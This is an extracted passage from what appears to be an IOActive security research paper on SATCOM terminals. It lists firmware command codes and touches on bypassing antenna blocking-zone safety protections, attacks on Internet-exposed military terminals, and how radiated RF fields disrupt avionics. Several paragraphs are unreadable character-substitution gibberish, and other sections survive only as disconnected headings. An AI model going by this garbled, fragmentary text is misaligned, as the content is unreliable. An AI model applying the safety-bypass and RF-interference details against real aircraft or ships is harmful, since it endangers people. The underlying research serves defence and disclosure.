    UIF_BOOT_STATUS("BD"), 
    UIF_SAT_DVB_INFO_C("Cd"), 
    UIF_NBD_INFO_C("Cn"), 
    UIF_SAT_INFO_C_KU("CI"), 
    UIF_TRACKING_PARAMETER_C("Ct"), 
    UIF_TRACKING_PARAMETER_C_KU("CT"), 
    UIF_TRACKING_PARAMETER_SCAN_OFFSET("CS"), 
    UIF_GPS_DATE("GD"), 
    UIF_USB_COMMAND("US"), 
    UIF_SEND_OPEATION("LO"), 
    UIF_SEND_HISTORY("MH"), 
    UIF_SEND_MESSAGE_LOG("ML"), 
    UIF_SAT_DVB_INFO_LONG("vD"), 
    UIF_SAT_DVB_INFO_LONG_C("cD"), 
    UIF_INTERNAL_PROTOCOL("YS"), 
    UIF_SEND_SESSION_ID("IA"), 
    UIF_SEND_SW_UNICODE("SU"), 
    UIF_SEND_SPECTRUM_GRAPH("NB"), 
    UIF_SYSTEM_INFORMATION("SI"); 

a8*#=!$>*8!.%&$&)&4Y!*$!*8!.&88*549!$&!)&#$%&4!/#W!./%/-9$9%!*#!$>9!$/%=9$9'!/#$9##/Y!!

;4&)<*#=![&#98!/%9!/%9/8!H>9%9!$>9!8*=#/4!*8!54&)<9'!59$H99#!$>9!/#$9##/!/#'!$>9!
8/$944*$9!59)/(89!&R!$>9!8>*.b8!8(.9%8$%()$(%9+!J>989!/%9![&#98!$>/$!)/#!59!)&#R*=(%9'!*#!
$>9!/#$9##/!(8*#=!$>9!8.9)*R*)!)&--/#'!n;^b!L;X@N^it@B6M!$&!.%919#$!ZG!97.&8(%9+!
0#!/$$/)<9%!)/#!5W./88!$>*8!8/R9$W!.%&$9)$*&#!5W!9*$>9%!'*8/54*#=!$>9!8949)$9'!;4&)<*#=!
t&#98!&%!'*%9)$4W!)&#$%&44*#=!$>9!0[*-($>!/#'!6491/$*&#!&R!$>9!/#$9##/!*#!nK9$(.!?&'9b+!

N9%$/*#!/#$9##/8!-/W!>/19!/''*$*&#/4!.>W8*)/4!)&#$%&48!$&!.%919#$!>/%-R(4!/#$9##/!
.&*#$*#=Y!*#!/''*$*&#!$&!8&R$H/%9!)&#$%&48+!

!
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Military 
"#!IS,:Y!*#!$>9!./.9%!l0!P/<9Ea.!N/44!G&%!K0JN@?!K9)(%*$Wm2IY!H9!'98)%*59'!/!.&$9#$*/4!
/$$/)<!8)9#/%*&!H>9%9!9#9-W!R&%)98!)&(4'!4919%/=9!1(4#9%/549!K0JN@?!9`(*.-9#$!$&!
.*#.&*#$!-*4*$/%W!(#*$8Y!/8!$>989!$9%-*#/48!(8(/44W!#99'!/#!/$$/)>9'!3DK!'91*)9+!!

!

"@0)$*19!'*8)&19%9'!8919%/4!-*4*$/%W!K0JN@?!$9%-*#/48!97.&89'!$&!$>9!"#$9%#9$Y!$>(8!
49/1*#=!$>9-!&.9#!$&!/$$/)<8+!J>989!8W8$9-8!)/#!59!/))9889'!$>%&(=>!-(4$*.49!.&%$8!$>/$!
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Cyber-Physical Attacks 
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High Intensity Radiated Fields in the Aviation Industry 
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Disruptions to Avionics 

Digital devices incorporate frequency sources, or clocks, for the timing and control of 
internal digital functions. Aircraft avionics use digital devices that are specifically 
qualified for aircraft use. These digital devices tend to have slower processor and data 
bus clock speeds than modern consumer electronics. For aircraft flying today, the 
avionics processor and data bus clock speeds range from 2 MHz to approximately 300 
MHz. The bandpass region for a digital device extends from the clock speed to 
approximately 10 times the clock speed. 

HIRF interference that appears within the bandpass of a digital device may be 
interpreted as a legitimate control signal, driving the device into unpredictable states. 
HIRF interference that is not within the bandpass of the digital device may be rectified 
by components of the digital circuit, such as diodes. The interference will then appear 
as a DC offset on the control signal, triggering uncommanded state changes or locking 
the device into one state. Some failure modes may not be readily apparent to the 
operator. It is more likely, however, that error detection circuitry will detect the 
corrupted control signal(s), in which case error messages will be generated and 
system degradation will occur in a relatively controlled manner. 

In the RF spectrum, digital circuits may be disrupted by potential differences ranging 
from 0.4 to 1.2 V. Analog circuits can be sensitive to induced gradients as small as 
50 mV, although this latter value is largely dependent on the gain characteristics of the 
affected circuitry. However, monitoring circuits on analog systems and error detection 
algorithms in digital systems are normally able to detect HIRF interference before a 
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major upset occurs. Power supply disconnects are the most common response to 
HIRF interference. 
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Analysis of Radiation Hazards 
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pfd: Power flux density 
P :  Power fed to the antenna  
G :  Antenna gain in the direction of interest relative to an isotropic radiator 
d :  Distance to the point of interest !
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Antenna Models 
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Intellian GX60 – Maritime 
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Figure 8. http://www.intelliantech.com/Satcom/gx/gx60 
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Kustream 1500 - Aviation 
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About IOActive 
IOActive is a comprehensive, high-end information security services firm with a long and established pedigree in delivering elite 
security services to its customers. Our world-renowned consulting and research teams deliver a portfolio of specialist security 
services ranging from penetration testing and application code assessment through to semiconductor reverse engineering. Global 
500 companies across every industry continue to trust IOActive with their most critical and sensitive security issues. Founded in 
1998, IOActive is headquartered in Seattle, USA, with global operations through the Americas, EMEA and Asia Pac regions. Visit 
www.ioactive.com for more information. Read the IOActive Labs Research Blog: http://blog.ioactive.com/. Follow IOActive on 
Twitter: http://twitter.com/ioactive.!


